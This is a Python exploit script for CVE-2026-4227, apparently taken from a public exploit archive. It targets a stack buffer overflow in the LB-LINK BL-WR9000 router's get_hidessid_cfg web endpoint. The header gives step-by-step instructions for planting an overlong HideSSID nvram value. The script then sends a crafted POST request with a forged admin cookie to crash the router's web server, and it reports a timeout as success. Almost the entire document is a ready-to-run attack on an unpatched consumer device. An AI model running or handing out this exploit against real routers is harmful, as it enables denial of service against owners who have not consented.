#!/usr/bin/env python3 # Exploit Title: LB-LINK BL-WR9000 HideSSID Stack Overflow # CVE: CVE-2026-4227 # Date: 2026-03-16 # Exploit Author: Mohammed Idrees Banyamer # Author Country: Jordan # Instagram: @banyamer_security # Author GitHub: https://github.com/mbanyamer # Affected: LB-LINK BL-WR9000 firmware V2.4.9 # Tested on: LB-LINK BL-WR9000 V2.4.9 # Category: Remote Denial of Service # Platform: Embedded (MIPS/ARM) # Exploit Type: Remote # CVSS: 8.8 (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) # Description: Stack-based buffer overflow in /goform/get_hidessid_cfg via overly long HideSSID nvram value # Fixed in: Not fixed (as of March 2026) # Usage: # python3 exploit.py <router_ip> # # Examples: # python3 exploit.py 192.168.16.1 # # Options: # -- (none implemented) # # Notes: # • Requires nvram value HideSSID to be set to a string longer than ~64 bytes before first ';' # • Example: nvram_set HideSSID 'A'*300';0;' ; nvram_commit # • Triggers crash of goahead web process (DoS) # # How to Use # # Step 1: # Set malicious nvram value (via shell or vulnerable web interface if possible): # nvram_set HideSSID 'A'*300';0;' # nvram_commit # # Step 2: # Run this script against the router: # python3 exploit.py 192.168.16.1 import requests import sys import time def main(): if len(sys.argv) != 2: print("Usage: python3 exploit.py <router_ip>") print("Example: python3 exploit.py 192.168.16.1") sys.exit(1) ip = sys.argv[1].strip() target = f"http://{ip}" url = f"{target}/goform/get_hidessid_cfg" headers = { "X-Requested-With": "XMLHttpRequest", "Accept-Language": "en", "Accept": "application/json, text/javascript, */*; q=0.01", "User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36", "Referer": f"{target}/admin/main.html", "Cookie": "platform=0; user=admin", "Connection": "keep-alive", "Content-Type": "application/x-www-form-urlencoded", } data = "type=gethide2" print(f"[+] Target URL : {url}") print(f"[+] Payload : type=gethide2") print(f"[+] Cookie : {headers['Cookie']}") print("-"*50) try: print("[+] Sending exploit request...") start = time.time() response = requests.post( url, headers=headers, data=data, timeout=8, allow_redirects=False ) elapsed = time.time() - start print(f"[+] Status code: {response.status_code}") print(f"[+] Response : {response.text[:150]}...") except requests.exceptions.Timeout: print("[+] Router crashed (timeout) — Exploit successful!") except requests.exceptions.ConnectionError: print("[+] Connection refused / socket closed — Exploit successful!") except Exception as e: print(f"[!] Unexpected error: {e}") else: print("[?] No crash detected. Check HideSSID value.") print("\n[+] Done.") if __name__ == "__main__": main()